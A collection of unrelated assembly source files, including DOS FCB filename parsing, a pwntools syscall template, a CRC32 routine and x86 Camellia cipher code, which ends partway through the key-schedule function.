ASSUMES <DS,NOTHING>,<ES,DOS>
mov cx,size FCB_NAME
;
; TODO: Expand this code to a separate function which, like parse_name, upper-
; cases and validates all characters against FILENAME_CHARS.
;
cn2: lodsb
cmp al,'a'
jb cn3
cmp al,'z'
ja cn3
sub al,20h
cn3: stosb
loop cn2
ret
ENDPROC copy_name
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; parse_name
;
; NOTE: My observations with PC DOS 2.0 are that "ignore leading separators"
; really means "ignore leading whitespace" (ie, spaces or tabs). This has to
; be one of the more poorly documented APIs in terms of precise behavior.
;
; Inputs:
; AH = parse flags
; 01h: ignore leading separators
; 02h: leave drive in buffer unchanged if unspecified
; 04h: leave filename in buffer unchanged if unspecified
; 08h: leave extension in buffer unchanged if unspecified
; 80h: allow wildcards
; DS:SI -> string to parse
; ES:DI -> buffer for filename
;
; Outputs:
; Carry clear if drive number valid, set otherwise
; DL = drive number (actual drive number if specified, default if not)
; DH = wildcards flag (1 if any present, 0 if not)
; SI -> next unparsed character
;
; Modifies:
; AX, BX, CX, DX, SI
;
DEFPROC parse_name,DOS
ASSUMES <DS,NOTHING>,<ES,NOTHING>
;
; See if the name begins with a drive letter. If so, convert it to a drive
; number and then skip over it; otherwise, use SCB_CURDRV as the drive number.
;
mov bx,[scb_active]
ASSERT STRUCT,cs:[bx],SCB
mov dl,cs:[bx].SCB_CURDRV ; DL = default drive number
mov dh,0 ; DH = wildcards flag
mov cl,8 ; CL is current filename limit
sub bx,bx ; BL is current filename position
pf0: lodsb
test ah,01h ; skip leading whitespace?
jz pf1 ; no
cmp al,CHR_SPACE
je pf0
cmp al,CHR_TAB
je pf0 ; keep looping until no more whitespace
pf1: sar ah,1
cmp byte ptr [si],':' ; drive letter?
je pf1a ; yes
dec si
test ah,01h ; update drive #?
jnz pf1d ; no
mov al,0 ; yes, specify 0 for default drive
jmp short pf1c
pf1a: inc si ; skip colon
sub al,'A' ; AL = drive number
cmp al,20h ; possibly lower case?
jb pf1b ; no
sub al,20h ; yes
pf1b: mov dl,al ; DL = drive number (validate later)
inc ax ; store 1-based drive number
pf1c: mov es:[di+bx],al
pf1d: inc di ; advance DI past FCB_DRIVE
sar ah,1
;
; Build filename at ES:DI+BX from the string at DS:SI, making sure that all
; characters exist within FILENAME_CHARS.
;
pf2: lodsb
pf2a: cmp al,' ' ; check character validity
jb pf4 ; invalid character
cmp al,'.'
je pf4a
cmp al,'a'
jb pf2b
cmp al,'z'
ja pf2b
sub al,20h
pf2b: test ah,80h ; filespec?
jz pf2d ; no
cmp al,'?' ; wildcard?
jne pf2c
or dh,1 ; wildcard present
jmp short pf2e
pf2c: cmp al,'*' ; asterisk?
je pf3 ; yes, fill with wildcards
pf2d: push cx
push di
push es
push cs
pop es
ASSUME ES:DOS
mov cx,FILENAME_CHARS_LEN
mov di,offset FILENAME_CHARS
repne scasb
pop es
ASSUME ES:NOTHING
pop di
pop cx
jne pf4 ; invalid character
pf2e: cmp bl,cl
jae pf2 ; valid character but we're at limit
mov es:[di+bx],al ; store it
inc bx
jmp pf2
pf3: or dh,1 ; wildcard present
pf3a: cmp bl,cl
jae pf2
mov byte ptr es:[di+bx],'?' ; store '?' until we reach the limit
inc bx
jmp pf3a
;
; Advance to next part of filename (filling with blanks as appropriate)
;
pf4: dec si
pf4a: cmp bl,cl ; are we done with the current portion?
jae pf5 ; yes
test ah,01h ; leave the buffer unchanged?
jnz pf4b ; yes
mov byte ptr es:[di+bx],' ' ; store ' ' until we reach the limit
pf4b: inc bx
jmp pf4a
pf5: cmp cl,size FCB_NAME ; did we just finish the extension?
je pf9 ; yes
mov bl,8 ; BL -> extension
mov cl,size FCB_NAME ; CL -> extension limit
sar ah,1 ; shift the parse flags
jmp pf2
;
; Last but not least, validate the drive number
;
pf9: dec di ; rewind DI to FCB_DRIVE
cmp dl,[bpb_total]
cmc ; carry clear if >= 0 and < bpb_total
ret
ENDPROC parse_name
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; read_fcb
;
; Read CX bytes for FCB at ES:DI into current DTA.
;
; Inputs:
; CX = # bytes
; DS:BX -> SFB
; ES:DI -> FCB
;
; Outputs:
; AX = # bytes read
; DL = FCBERR result
;
; Modifies:
; AX, CX, DX, SI
;
DEFPROC read_fcb
mov al,IO_RAW ; TODO: matter for block devices?
push es
push di
push es:[di].FCB_RECSIZE
mov si,[scb_active]
les dx,[si].SCB_DTA ; ES:DX -> DTA
DPRINTF 'f',<"read_fcb: requesting %#x bytes from %#lx into %04x:%04x\r\n">,cx,[bx].SFB_CURPOS.LOW,[bx].SFB_CURPOS.HIW,es,dx
push cx
push dx
call sfb_read
pop di ; ES:DI -> DTA now
pop cx
mov dl,FCBERR_OK ; DL = 00h (FCBERR_OK)
pop si ; SI = FCB_RECSIZE
jc rf4
test ax,ax
jnz rf5
rf4: sub ax,ax ; TODO: throw away error code?
inc dx ; DL = 01h (FCBERR_EOF)
jmp short rf8
rf5: sub cx,ax ; did we read # bytes requested?
jz rf8 ; yes
;
; Fill the remainder of the last incomplete record (if any) with zeros.
;
xchg ax,cx ; CX = # bytes read
sub dx,dx ; DX:AX = # bytes not read
div si ; DX = remainder from DX:AX / SI
xchg cx,dx ; CX = # of bytes to fill
add di,dx
mov al,0
rep stosb
xchg ax,dx ; AX = # bytes read
mov dl,FCBERR_PARTIAL ; DL = 03h (FCBERR_PARTIAL)
rf8: DPRINTF 'f',<"read_fcb: read %#x bytes (result %#.2x)\r\n">,ax,dx
pop di
pop es
ret
ENDPROC read_fcb
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; seek_fcb
;
; Set the FCB_CURBLK and FCBF_CURREC fields to match the FCBF_RELREC field,
; and then seek to FCBF_RELREC * FCB_RECSIZE.
;
; Inputs:
; CX = # records
; ES:DI -> FCB
;
; Outputs:
; CX = # bytes to read
;
; Modifies:
; AX, CX, DX
;
DEFPROC seek_fcb
push cx ; CX = # records
call setcur_fcb
call mul_32_16 ; DX:AX = DX:AX * CX
xchg dx,ax
xchg cx,ax ; CX:DX = offset
mov al,SEEK_BEG ; seek to absolute offset CX:DX
call sfb_seek
pop ax ; AX = # records
mul es:[di].FCB_RECSIZE
ASSERT Z,<test dx,dx>
xchg cx,ax ; CX = # bytes to read
ret
ENDPROC seek_fcb
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; setcur_fcb
;
; Set the FCB_CURBLK and FCBF_CURREC fields to match the FCBF_RELREC field.
;
; Note that block size is always FCB_RECSIZE * 128 (a block is defined as 128
; records), so FCB_CURBLK is FCBF_RELREC/128 and FCBF_CURREC is the remainder.
;
; Inputs:
; ES:DI -> FCB
;
; Outputs:
; CX = FCB_RECSIZE
; DX:AX = FCBF_RELREC
;
; Modifies:
; AX, CX, DX
;
DEFPROC setcur_fcb
mov ax,es:[di].FCBF_RELREC.LOW
mov dx,es:[di].FCBF_RELREC.HIW
mov cx,es:[di].FCB_RECSIZE ; CX = FCB_RECSIZE
cmp cx,64
jb sc1
mov dh,0 ; use only 3 bytes if RECSIZE >= 64
;
; Even if DX:AX was reduced to FFFFFFh by virtue of RECSIZE >= 64, division
; by 128 (80h) would not be safe (DX:AX would have to be reduced to 7FFFFFh),
; so we must always use div_32_16. However, all that does is prevent a
; division overflow; if DX is non-zero on return, the caller is requesting a
; relative record that's too large. TODO: How should we deal with that?
;
sc1: push dx
push ax
push bx
push cx
mov cx,128
call div_32_16 ; DX:AX /= 128 (BX = remainder)
ASSERT Z,<test dx,dx>
mov es:[di].FCB_CURBLK,ax ; update FCB's current block
mov es:[di].FCBF_CURREC,bl ; update FCB's current record
pop cx
pop bx
pop ax
pop dx
ret
ENDPROC setcur_fcb
DOS ends
end
|
stk 20
psh 4
psh 1
psh 4
psh 3
fsub
pop r1
add r1, .0
out r1
|
<%
from pwnlib.shellcraft.arm.linux import syscall
%>
<%page args="algorithm"/>
<%docstring>
Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.
Arguments:
algorithm(int): algorithm
</%docstring>
${syscall('SYS_sched_get_priority_max', algorithm)}
|
; Text for error window v0.00 June 1988 J.R.Oakley QJUMP
section language
include 'dev8_mac_text'
include 'dev8_keys_k'
erstr1 setstr {This application failed with the error\}
mktext erms \
{[erstr1]}
xdef msx.erms
xdef msy.erms
msx.erms equ [.len(erstr1)]*6
msy.erms equ 10
end
|
SECTION .text
global _crcCalc
align 10h
_crcCalc:
pushad
mov eax, [esp+32+4] ; Load the pointer to dwCrc32
mov ecx, [eax] ; Dereference the pointer to load dwCrc32
mov edi, [esp+32+8] ; Load the CRC32 table
mov esi, [esp+32+12] ; Load buffer
mov ebx, [esp+32+16] ; Load dwBytesRead
lea edx, [esi + ebx] ; Calculate the end of the buffer
crc32loop:
xor eax, eax ; Clear the eax register
mov bl, byte [esi] ; Load the current source byte
mov al, cl ; Copy crc value into eax
inc esi ; Advance the source pointer
xor al, bl ; Create the index into the CRC32 table
shr ecx, 8
mov ebx, [edi + eax * 4] ; Get the value out of the table
xor ecx, ebx ; xor with the current byte
cmp edx, esi ; Have we reached the end of the buffer?
jne crc32loop
mov eax, [esp+32+4] ; Load the pointer to dwCrc32
mov [eax], ecx ; Write the result
popad
ret
|
TITLE cmll-586.asm
IF @Version LT 800
ECHO MASM version 8.00 or later is strongly recommended.
ENDIF
.586
.MODEL FLAT
OPTION DOTNAME
IF @Version LT 800
.text$ SEGMENT PAGE 'CODE'
ELSE
.text$ SEGMENT ALIGN(64) 'CODE'
ENDIF
ALIGN 16
_Camellia_EncryptBlock_Rounds PROC PUBLIC
$L_Camellia_EncryptBlock_Rounds_begin::
push ebp
push ebx
push esi
push edi
mov eax,DWORD PTR 20[esp]
mov esi,DWORD PTR 24[esp]
mov edi,DWORD PTR 28[esp]
mov ebx,esp
sub esp,28
and esp,-64
lea ecx,DWORD PTR [edi-127]
sub ecx,esp
neg ecx
and ecx,960
sub esp,ecx
add esp,4
shl eax,6
lea eax,DWORD PTR [eax*1+edi]
mov DWORD PTR 20[esp],ebx
mov DWORD PTR 16[esp],eax
call $L000pic_point
$L000pic_point:
pop ebp
lea ebp,DWORD PTR ($LCamellia_SBOX-$L000pic_point)[ebp]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
bswap eax
mov edx,DWORD PTR 12[esi]
bswap ebx
bswap ecx
bswap edx
call __x86_Camellia_encrypt
mov esp,DWORD PTR 20[esp]
bswap eax
mov esi,DWORD PTR 32[esp]
bswap ebx
bswap ecx
bswap edx
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edx
pop edi
pop esi
pop ebx
pop ebp
ret
_Camellia_EncryptBlock_Rounds ENDP
ALIGN 16
_Camellia_EncryptBlock PROC PUBLIC
$L_Camellia_EncryptBlock_begin::
mov eax,128
sub eax,DWORD PTR 4[esp]
mov eax,3
adc eax,0
mov DWORD PTR 4[esp],eax
jmp $L_Camellia_EncryptBlock_Rounds_begin
_Camellia_EncryptBlock ENDP
ALIGN 16
_Camellia_encrypt PROC PUBLIC
$L_Camellia_encrypt_begin::
push ebp
push ebx
push esi
push edi
mov esi,DWORD PTR 20[esp]
mov edi,DWORD PTR 28[esp]
mov ebx,esp
sub esp,28
and esp,-64
mov eax,DWORD PTR 272[edi]
lea ecx,DWORD PTR [edi-127]
sub ecx,esp
neg ecx
and ecx,960
sub esp,ecx
add esp,4
shl eax,6
lea eax,DWORD PTR [eax*1+edi]
mov DWORD PTR 20[esp],ebx
mov DWORD PTR 16[esp],eax
call $L001pic_point
$L001pic_point:
pop ebp
lea ebp,DWORD PTR ($LCamellia_SBOX-$L001pic_point)[ebp]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
bswap eax
mov edx,DWORD PTR 12[esi]
bswap ebx
bswap ecx
bswap edx
call __x86_Camellia_encrypt
mov esp,DWORD PTR 20[esp]
bswap eax
mov esi,DWORD PTR 24[esp]
bswap ebx
bswap ecx
bswap edx
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edx
pop edi
pop esi
pop ebx
pop ebp
ret
_Camellia_encrypt ENDP
ALIGN 16
__x86_Camellia_encrypt PROC PRIVATE
xor eax,DWORD PTR [edi]
xor ebx,DWORD PTR 4[edi]
xor ecx,DWORD PTR 8[edi]
xor edx,DWORD PTR 12[edi]
mov esi,DWORD PTR 16[edi]
mov DWORD PTR 4[esp],eax
mov DWORD PTR 8[esp],ebx
mov DWORD PTR 12[esp],ecx
mov DWORD PTR 16[esp],edx
ALIGN 16
$L002loop:
xor eax,esi
xor ebx,DWORD PTR 20[edi]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 16[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 12[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 24[edi]
xor edx,ecx
mov DWORD PTR 16[esp],edx
xor ecx,ebx
mov DWORD PTR 12[esp],ecx
xor ecx,esi
xor edx,DWORD PTR 28[edi]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 8[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR 4[esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 32[edi]
xor ebx,eax
mov DWORD PTR 8[esp],ebx
xor eax,edx
mov DWORD PTR 4[esp],eax
xor eax,esi
xor ebx,DWORD PTR 36[edi]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 16[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 12[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 40[edi]
xor edx,ecx
mov DWORD PTR 16[esp],edx
xor ecx,ebx
mov DWORD PTR 12[esp],ecx
xor ecx,esi
xor edx,DWORD PTR 44[edi]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 8[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR 4[esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 48[edi]
xor ebx,eax
mov DWORD PTR 8[esp],ebx
xor eax,edx
mov DWORD PTR 4[esp],eax
xor eax,esi
xor ebx,DWORD PTR 52[edi]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 16[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 12[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 56[edi]
xor edx,ecx
mov DWORD PTR 16[esp],edx
xor ecx,ebx
mov DWORD PTR 12[esp],ecx
xor ecx,esi
xor edx,DWORD PTR 60[edi]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 8[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR 4[esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR 64[edi]
xor ebx,eax
mov DWORD PTR 8[esp],ebx
xor eax,edx
mov DWORD PTR 4[esp],eax
add edi,64
cmp edi,DWORD PTR 20[esp]
je $L003done
and esi,eax
mov edx,DWORD PTR 16[esp]
rol esi,1
mov ecx,edx
xor ebx,esi
or ecx,DWORD PTR 12[edi]
mov DWORD PTR 8[esp],ebx
xor ecx,DWORD PTR 12[esp]
mov esi,DWORD PTR 4[edi]
mov DWORD PTR 12[esp],ecx
or esi,ebx
and ecx,DWORD PTR 8[edi]
xor eax,esi
rol ecx,1
mov DWORD PTR 4[esp],eax
xor edx,ecx
mov esi,DWORD PTR 16[edi]
mov DWORD PTR 16[esp],edx
jmp $L002loop
ALIGN 8
$L003done:
mov ecx,eax
mov edx,ebx
mov eax,DWORD PTR 12[esp]
mov ebx,DWORD PTR 16[esp]
xor eax,esi
xor ebx,DWORD PTR 4[edi]
xor ecx,DWORD PTR 8[edi]
xor edx,DWORD PTR 12[edi]
ret
__x86_Camellia_encrypt ENDP
ALIGN 16
_Camellia_DecryptBlock_Rounds PROC PUBLIC
$L_Camellia_DecryptBlock_Rounds_begin::
push ebp
push ebx
push esi
push edi
mov eax,DWORD PTR 20[esp]
mov esi,DWORD PTR 24[esp]
mov edi,DWORD PTR 28[esp]
mov ebx,esp
sub esp,28
and esp,-64
lea ecx,DWORD PTR [edi-127]
sub ecx,esp
neg ecx
and ecx,960
sub esp,ecx
add esp,4
shl eax,6
mov DWORD PTR 16[esp],edi
lea edi,DWORD PTR [eax*1+edi]
mov DWORD PTR 20[esp],ebx
call $L004pic_point
$L004pic_point:
pop ebp
lea ebp,DWORD PTR ($LCamellia_SBOX-$L004pic_point)[ebp]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
bswap eax
mov edx,DWORD PTR 12[esi]
bswap ebx
bswap ecx
bswap edx
call __x86_Camellia_decrypt
mov esp,DWORD PTR 20[esp]
bswap eax
mov esi,DWORD PTR 32[esp]
bswap ebx
bswap ecx
bswap edx
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edx
pop edi
pop esi
pop ebx
pop ebp
ret
_Camellia_DecryptBlock_Rounds ENDP
ALIGN 16
_Camellia_DecryptBlock PROC PUBLIC
$L_Camellia_DecryptBlock_begin::
mov eax,128
sub eax,DWORD PTR 4[esp]
mov eax,3
adc eax,0
mov DWORD PTR 4[esp],eax
jmp $L_Camellia_DecryptBlock_Rounds_begin
_Camellia_DecryptBlock ENDP
ALIGN 16
_Camellia_decrypt PROC PUBLIC
$L_Camellia_decrypt_begin::
push ebp
push ebx
push esi
push edi
mov esi,DWORD PTR 20[esp]
mov edi,DWORD PTR 28[esp]
mov ebx,esp
sub esp,28
and esp,-64
mov eax,DWORD PTR 272[edi]
lea ecx,DWORD PTR [edi-127]
sub ecx,esp
neg ecx
and ecx,960
sub esp,ecx
add esp,4
shl eax,6
mov DWORD PTR 16[esp],edi
lea edi,DWORD PTR [eax*1+edi]
mov DWORD PTR 20[esp],ebx
call $L005pic_point
$L005pic_point:
pop ebp
lea ebp,DWORD PTR ($LCamellia_SBOX-$L005pic_point)[ebp]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
bswap eax
mov edx,DWORD PTR 12[esi]
bswap ebx
bswap ecx
bswap edx
call __x86_Camellia_decrypt
mov esp,DWORD PTR 20[esp]
bswap eax
mov esi,DWORD PTR 24[esp]
bswap ebx
bswap ecx
bswap edx
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],ecx
mov DWORD PTR 12[esi],edx
pop edi
pop esi
pop ebx
pop ebp
ret
_Camellia_decrypt ENDP
ALIGN 16
__x86_Camellia_decrypt PROC PRIVATE
xor eax,DWORD PTR [edi]
xor ebx,DWORD PTR 4[edi]
xor ecx,DWORD PTR 8[edi]
xor edx,DWORD PTR 12[edi]
mov esi,DWORD PTR [edi-8]
mov DWORD PTR 4[esp],eax
mov DWORD PTR 8[esp],ebx
mov DWORD PTR 12[esp],ecx
mov DWORD PTR 16[esp],edx
ALIGN 16
$L006loop:
xor eax,esi
xor ebx,DWORD PTR [edi-4]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 16[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 12[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR [edi-16]
xor edx,ecx
mov DWORD PTR 16[esp],edx
xor ecx,ebx
mov DWORD PTR 12[esp],ecx
xor ecx,esi
xor edx,DWORD PTR [edi-12]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 8[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR 4[esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR [edi-24]
xor ebx,eax
mov DWORD PTR 8[esp],ebx
xor eax,edx
mov DWORD PTR 4[esp],eax
xor eax,esi
xor ebx,DWORD PTR [edi-20]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 16[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 12[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR [edi-32]
xor edx,ecx
mov DWORD PTR 16[esp],edx
xor ecx,ebx
mov DWORD PTR 12[esp],ecx
xor ecx,esi
xor edx,DWORD PTR [edi-28]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 8[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR 4[esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR [edi-40]
xor ebx,eax
mov DWORD PTR 8[esp],ebx
xor eax,edx
mov DWORD PTR 4[esp],eax
xor eax,esi
xor ebx,DWORD PTR [edi-36]
movzx esi,ah
mov edx,DWORD PTR 2052[esi*8+ebp]
movzx esi,al
xor edx,DWORD PTR 4[esi*8+ebp]
shr eax,16
movzx esi,bl
mov ecx,DWORD PTR [esi*8+ebp]
movzx esi,ah
xor edx,DWORD PTR [esi*8+ebp]
movzx esi,bh
xor ecx,DWORD PTR 4[esi*8+ebp]
shr ebx,16
movzx eax,al
xor edx,DWORD PTR 2048[eax*8+ebp]
movzx esi,bh
mov eax,DWORD PTR 16[esp]
xor ecx,edx
ror edx,8
xor ecx,DWORD PTR 2048[esi*8+ebp]
movzx esi,bl
mov ebx,DWORD PTR 12[esp]
xor edx,eax
xor ecx,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR [edi-48]
xor edx,ecx
mov DWORD PTR 16[esp],edx
xor ecx,ebx
mov DWORD PTR 12[esp],ecx
xor ecx,esi
xor edx,DWORD PTR [edi-44]
movzx esi,ch
mov ebx,DWORD PTR 2052[esi*8+ebp]
movzx esi,cl
xor ebx,DWORD PTR 4[esi*8+ebp]
shr ecx,16
movzx esi,dl
mov eax,DWORD PTR [esi*8+ebp]
movzx esi,ch
xor ebx,DWORD PTR [esi*8+ebp]
movzx esi,dh
xor eax,DWORD PTR 4[esi*8+ebp]
shr edx,16
movzx ecx,cl
xor ebx,DWORD PTR 2048[ecx*8+ebp]
movzx esi,dh
mov ecx,DWORD PTR 8[esp]
xor eax,ebx
ror ebx,8
xor eax,DWORD PTR 2048[esi*8+ebp]
movzx esi,dl
mov edx,DWORD PTR 4[esp]
xor ebx,ecx
xor eax,DWORD PTR 2052[esi*8+ebp]
mov esi,DWORD PTR [edi-56]
xor ebx,eax
mov DWORD PTR 8[esp],ebx
xor eax,edx
mov DWORD PTR 4[esp],eax
sub edi,64
cmp edi,DWORD PTR 20[esp]
je $L007done
and esi,eax
mov edx,DWORD PTR 16[esp]
rol esi,1
mov ecx,edx
xor ebx,esi
or ecx,DWORD PTR 4[edi]
mov DWORD PTR 8[esp],ebx
xor ecx,DWORD PTR 12[esp]
mov esi,DWORD PTR 12[edi]
mov DWORD PTR 12[esp],ecx
or esi,ebx
and ecx,DWORD PTR [edi]
xor eax,esi
rol ecx,1
mov DWORD PTR 4[esp],eax
xor edx,ecx
mov esi,DWORD PTR [edi-8]
mov DWORD PTR 16[esp],edx
jmp $L006loop
ALIGN 8
$L007done:
mov ecx,eax
mov edx,ebx
mov eax,DWORD PTR 12[esp]
mov ebx,DWORD PTR 16[esp]
xor ecx,esi
xor edx,DWORD PTR 12[edi]
xor eax,DWORD PTR [edi]
xor ebx,DWORD PTR 4[edi]
ret
__x86_Camellia_decrypt ENDP
ALIGN 16
_Camellia_Ekeygen PROC PUBLIC
$L_Camellia_Ekeygen_begin::
push ebp
push ebx
push esi
push edi
sub esp,16
mov ebp,DWORD PTR 36[esp]
mov esi,DWORD PTR 40[esp]
mov edi,DWORD PTR 44[esp]
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
mov edx,DWORD PTR 12[esi]
bswap eax
bswap ebx
bswap ecx
bswap edx
mov DWORD PTR [edi],eax
mov DWORD PTR 4[edi],ebx
mov DWORD PTR 8[edi],ecx
mov DWORD PTR 12[edi],edx
cmp ebp,128
